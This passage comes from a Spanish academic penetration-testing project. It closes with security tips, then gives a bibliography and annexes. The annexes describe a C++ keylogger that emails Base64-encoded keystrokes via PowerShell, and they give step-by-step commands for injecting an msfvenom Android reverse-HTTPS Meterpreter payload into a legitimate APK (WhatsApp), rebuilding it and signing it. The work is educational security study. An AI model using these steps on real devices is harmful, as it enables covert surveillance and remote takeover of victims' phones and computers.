• Cabe desconfiar de todas aquellas ofertas que sean demasiado buenas para
ser ciertas
• Cada vez que abandonemos nuestro lugar de trabajo conviene recordar la
política de mesas limpias
• Vigilar que cuando escribamos nuestras contraseñas en páginas relevantes
(bancos, redes sociales, etc.) no haya nadie vigilando por los alrededores.
• No aceptar las solicitudes de amistad o seguimiento en las redes sociales de
personas extrañas.
• Usar diferentes contraseñas para cada servicio y asegurarse de que sean
seguras
• No seguir enlaces, ni descargar elementos extraños de emails.
Cierto es que ningún sistema es seguro al 100%, aunque hubiera estado bien
probarlo en Linux para demostrarlo, pero eso no quiere decir que todos sean igual
de inseguros. Para tener en cuenta una cosa, Microsoft, en todo su esplendor, saca
actualizaciones, habitualmente, de seguridad y mejoras secundarias, cada segundo
martes de cada mes, esto quiere decir que una vulnerabilidad descubierta el
segundo miércoles del mes tardará, aproximadamente, un mes en solucionarse, o
dicho de un modo más profesional, el 0-day será parcheado en 30 días. Los sistemas
libres, o semi-libres, tardan en corregir sus vulnerabilidades el tiempo que tarda la
comunidad en enterarse desde que se publica dicha vulnerabilidad en CVE hasta que
la publican, que en la mayoría de los casos suele ser un periodo inferior a 48 horas.
76. 75
11 Bibliografía
Allen, L. and Cardwell, K. (2016). Advanced Penetration Testing for Highly-
Secured Environments - Second Edition. 1st ed. Birmingham: Packt
Publishing, Limited.
Allen, L., Heriyanto, T. and Ali, S. (2014). Kali Linux - assuring security by
penetration testing. 1st ed. Birmingham, UK: Packt Pub.
Balapure, A. (2013). Learning Metasploit exploitation and development.
1st ed. Birmingham, UK: Packt Pub.
Cardwell, K. (2014). Building virtual pentesting labs for advanced
penetration testing. 1st ed. Birmingham, UK: Packt Pub.
Dregier, L. (2017). Free Penetration Testing and Ethical Hacking Training
Course - Cybrary. [online] Cybrary. Available at:
https://www.cybrary.it/course/ethical-hacking/ [Accessed 19 May
2017].
Kalsi, T. (2016). Practical Linux security cookbook. 1st ed. Birmingham
(Gran Bretaña): Packt Publishing.
Pompilio, D. (2017). Free Online Metasploit Training - Cybrary. [online]
Cybrary. Available at: https://www.cybrary.it/course/metasploit/
[Accessed 19 May 2017].
Weidman, G. (2017). Free Advanced Penetration Testing Training Class
from Cybrary. [online] Cybrary. Available at:
https://www.cybrary.it/course/advanced-penetration-testing/
[Accessed 19 May 2017].
Willie L. Pritchett. David De Smet. (2013). Kali Linux Cookbook. 1st ed.
Packt Publishing.
77. 76
Kreponic, E. (2017). Build an Advanced Keylogger using C++ for Ethical
Hacking!. [online] Udemy. Available at: https://www.udemy.com/how-to-
create-an-advanced-keylogger-from-scratch-for-
windows/learn/v4/overview [Accessed 29 May 2017].
Alvarez, X. (2017). [image] Available at:
https://www.youtube.com/watch?v=0lDvclMrymM [Accessed 30 May
2017].
Seguridad en Sistemas y Técnicas de Hacking. TheHackerWay (THW).
(2017). Cómo inyectar malware en una aplicación Android legítima..
[online] Available at: https://thehackerway.com/2017/05/22/malware-
apk-android/ [Accessed 30 May 2017].
YouTube. (2017). Hacking Windows 7 using EternalBlue & DoublePulsar
via Metasploit on Kali Linux 2017. [online] Available at:
https://www.youtube.com/watch?v=wDAkiXxm1gE [Accessed 13 Jun.
2017].
YouTube. (2017). PLaying with eternalblue. [online] Available at:
https://www.youtube.com/watch?v=JuhwoCNuiPo [Accessed 13 Jun.
2017].
YouTube. (2017). Privilege escalation in Windows 7-8-10 x86/x64.
[online] Available at: https://www.youtube.com/watch?v=74EKxv6KxAg
[Accessed 13 Jun. 2017].
78. 77
12 Anexos
12.1 Anexo A: Desarrollo de un Keylogger en C++
Durante el desarrollo de este proyecto también aprendí como se desarrolla un
famoso spyware, los Keyloggers. Para quien no conozca que es un Keylogger, según
Wikipedia, es un tipo de software o un dispositivo hardware específico que se
encarga de registrar las pulsaciones que se realizan en el teclado, para
posteriormente memorizarlas en un fichero o enviarlas a través de internet. Como
IDE de desarrollo decidimos utilizar CodeBlocks.
Nuestro Keylogger consta de 8 archivos (7 headers y un main):
• Base64
• Helper
• IO
• KeybHook
• KeyConstants
• SendMail
• Timer
• Main
12.1.1 Base64
El archivo Base64 es el encargado de cifrar las capturas almacenadas para que
cuando sean enviadas por mail o mientras se almacenan en el ordenador de la
víctima no puedan ser descubiertas.
79. 78
Imagen 12.1 Base64 Parte 1
Imagen 12.2 Base64 Parte 2
12.1.2 Helper
Con este header, conseguimos varias cosas que podríamos llamar “esenciales” pues,
este header, entre sus funciones, se encuentra la creación de los archivos de log, la
conversión de los datos manejados por el Keylogger a tipo String, y la creación y
manejo de fechas.
81. 80
Imagen 12.4 Helper Parte 2
Imagen 12.5 Helper Parte 3
12.1.3 IO
El Header IO, se encarga de gestionar el almacenamiento (creación de archivos y
carpetas) donde se almacenarán los datos recopilados por el Keylogger.
83. 82
Imagen 12.7 IO Parte 2
12.1.4 KeybHook
Si hay un fichero encargado de detectar las pulsaciones del usuario, es esté. Se
encarga de recopilar las pulsaciones de teclado y ratón por el usuario y
transmitírselas al header IO para que las cifre en Base64 y las almacene en el archivo
correspondiente.
85. 84
Imagen 12.10 KeybHook Parte 3
Imagen 12.11 KeybHook Parte 4
12.1.5 KeyConstants
El header KeyConstants se dedica a traducir las señales de las pulsaciones del
teclado al “lenguaje humano”.
86. 85
Imagen 12.12 KeyConstants
12.1.6 SendMail
Aquí, para evitar tener que instalar aplicaciones extra, el header SendMail llama a
una instancia de PowerShell que, con el código adecuado, insertado en un script,
permite el envío de emails por Gmail.
89. 88
Imagen 12.17 SendMail Parte 5
12.1.7 Timer
El Keylogger necesita, cada cierto tiempo, enviar los datos, comprobar que está en
funcionamiento, etc. Para ello hemos implementado el header Timer que se encarga
de gestionar el tiempo y de que los procesos entren en funcionamiento cada vez que
son necesarios.
Imagen 12.18 Timer Parte 1
91. 90
12.2 Anexo B: Inyección de código malicioso en .APK de Android
Actualmente, cada vez más, los dispositivos móviles están ocupando más cuota de
mercado. Si a eso sumamos el cada vez mas demandado por las empresas y
empleados BYOD o BYOT (Bring Your Own Device/Technology) podemos
encontrarnos con graves brechas de seguridad, que pueden afectarnos económica y
reputacionalmente hablando, en nuestras redes informáticas “seguras”. Sabemos
que ningún dispositivo es 100% seguro, los móviles u smartphones tampoco. Para
demostrarlo hemos inyectado malware en una aplicación de Android. Aquí
explicamos el proceso.
1-. El primero de los pasos será con msfvenom crear una app maliciosa con una
consola reverse https. El comando para generarla es el siguiente:
msfvenom -p android/meterpreter/reverse_https LHOST=xxxx LPORT=4444 -o
/home/adastra/meterpreter.apk
2-. Descargamos la aplicación en la que deseemos inyectar el código y la
descompilamos con la aplicación apktool.
Imagen 12.21 Decompilacion de com.whatsapp.apk
92. 91
3-. Descompilamos también la aplicación creada por nosotros y añadimos la carpeta
metasploit (residida en /smali) a la carpeta /smail de la aplicación descargada
4-. Buscamos la función main, en el archivo de mismo nombre, de la aplicación
descargada e insertamos la siguiente línea debajo:
invoke-static {p0}, Lcom/metasploit/stage/Payload;-
>start(Landroid/content/Context;)V
5-. Modificamos en el manifest.xml los permisos de la aplicación para que coincidan
con los permisos requeridos por el código malicioso. Deberían tener, al menos, los
siguientes:
Imagen 12.22 Permisos requeridos por el payload
6-. Volvemos a compilar la aplicación con la apktool:
apktool b original/originalDecompiled/
7-. Finalmente, ya para acabar, firmamos la aplicación con el comando jarsigner:
jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -
keypass android -digestalg SHA1 -sigalg MD5withRSA
original/originalDecompiled/dist/momo_6.7_0413_c1.apk androiddebugkey
12.3 Anexo C: Extraer metadatos de una imagen
A veces, para realizar algunos ataques de ingeniería social se requieren datos sobre
intereses, lugares visitados, familia y amigos, entre otros. Gracias a la gran
popularidad de las redes, mucha de esta información puede ser encontrada
fácilmente. ¿Pero qué pasa cuando vemos una imagen y no reconocemos la
ubicación? ¿Y si queremos saber cuál fue la cámara con la que se realizó la imagen?
93. 92
Aunque parezca mentira, todos esos datos y más pueden ser recolectados gracias a
un pequeño fragmento de código, lo cual nos facilita muchísimo las tareas que
queramos llevar a cabo. Un ejemplo de código que nos ayudará a extraer los
metadatos de las imágenes es el siguiente:
Imagen 12.23 Extractor de metadatos en Python